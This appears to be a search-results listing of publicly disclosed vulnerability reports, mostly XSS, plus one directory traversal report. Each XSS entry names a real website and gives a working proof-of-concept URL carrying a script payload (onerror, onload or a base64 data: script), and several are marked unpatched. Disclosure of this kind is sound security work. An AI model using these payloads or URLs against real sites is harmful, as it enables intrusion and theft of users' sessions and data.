20626 matches found
WordPress: DOM Based XSS In mercantile.wordpress.org
Hello, There is a DOM XSS in mercantile.wordpress.org in the apparel subcat. For example: https://mercantile.wordpress.org/product-category/apparel/?subcat= Steps To Reproduce 1. Go to https://mercantile.wordpress.org 2. Click on apparel 3. In the url bar add : /?subcat=" The domain will pop-up. ...
gs4u.net XSS vulnerability
Vulnerable URL: https://www.gs4u.net/ru/cs17/search/country-ba/host-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/map-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/name-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/ Details: Description|...
budni.de XSS vulnerability
Vulnerable URL: https://www.budni.de/foto/status-fotobestellungen/ Details: Description| Value ---|--- Patched:| Yes, at 21.06.2017 Latest check for patch:| 21.06.2017 11:17 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 294214 VIP website status:| No Check...
teatrsyrena.pl XSS vulnerability
Vulnerable URL: http://www.teatrsyrena.pl/szukaj.html?fszukaj=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...
radiolid.ru XSS vulnerability
Vulnerable URL: http://www.radiolid.ru/catalog/9/search.php?lookingfor=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:52 GMT Vulnerability type:| XSS Vulnerability status:|...
piccard-online.de XSS vulnerability
Vulnerable URL: https://www.piccard-online.de/suche.php?sprache=%27%22--!%3E%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...
isralpa.org.il XSS vulnerability
Vulnerable URL: http://www.isralpa.org.il/Eng/Search/Search.asp Details: Description| Value ---|--- Patched:| Yes, at 29.07.2017 Latest check for patch:| 29.07.2017 19:24 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status...
stjohnslomira.com XSS vulnerability
Vulnerable URL: http://www.stjohnslomira.com/site/search1.asp?secid=140005248query=%22%27--%21%3E%3CScript%2FK%2F%3Econfirm%28%60OPENBUGBOUNTY%60%29%3C%2FScript%2FK%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...
bankrate.com XSS vulnerability
Vulnerable URL: http://www.bankrate.com/ajax/dynamic-content/generate-impression-id/?type=text=" L O L O L O L O L O youhavexss Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2890...
barrowclark.com XSS vulnerability
Vulnerable URL: http://www.barrowclark.com/list.asp?type=Brand=Baker%20Furniture%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22=======d Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...
eur-lex.europa.eu XSS vulnerability
Vulnerable URL: http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=%3C/title%3E%3C/script/%27-a%20lert0-%27%22-%22--%3E%3Cimg/onerror=%22;alert1;%22src=1%3E%3Cscript/src=data:,alert%202-%22"/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:|...
hanse-reifen.de XSS vulnerability
Vulnerable URL: http://www.hanse-reifen.de/shop/login.php Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2240428 VIP website status:| No Check...
cornella.cat XSS vulnerability
Vulnerable URL: http://www.cornella.cat/ca/busquedaglobal.asp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1100350 VIP website status:| No Check cornella.cat SSL connection:|...
fly-kan.com XSS vulnerability
Vulnerable URL: http://www.fly-kan.com/Products.asp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15937495 VIP website status:| No Check fly-kan.com SSL connection:| Grade: F...
com2dn.mar.mil.br XSS vulnerability
Vulnerable URL: https://www.com2dn.mar.mil.br/sites/all/modules/moddrupal7flipbook69/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.08.2017 Vulnerability...
scoopwhoop.com XSS vulnerability
Vulnerable URL: https://www.scoopwhoop.com/tag/w"%20with%20my%20girlfriend/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3392 VIP website status:| Yes Coordinated Disclosure...
Ubiquiti Inc.: Directory traversal at https://nightly.ubnt.com
From within the http request function of the Acunetix and IronWasp programs I was able to view the passwd and hosts files at https://nightly.ubnt.com. Please see the attached screenshots for proof. I have tried to reproduce from within firefox and internet explorer without much luck however if yo...
bonmanju.com XSS vulnerability
Vulnerable URL: http://bonmanju.com/store.do?page=2===%22%3E%3Cscript%3E%20alert%27XSSPOSED%27%20%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7336878 VIP website...
cin-ast.jenzabar.net XSS vulnerability
Vulnerable URL: http://cin-ast.jenzabar.net/ICS/?tool=search=" Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:...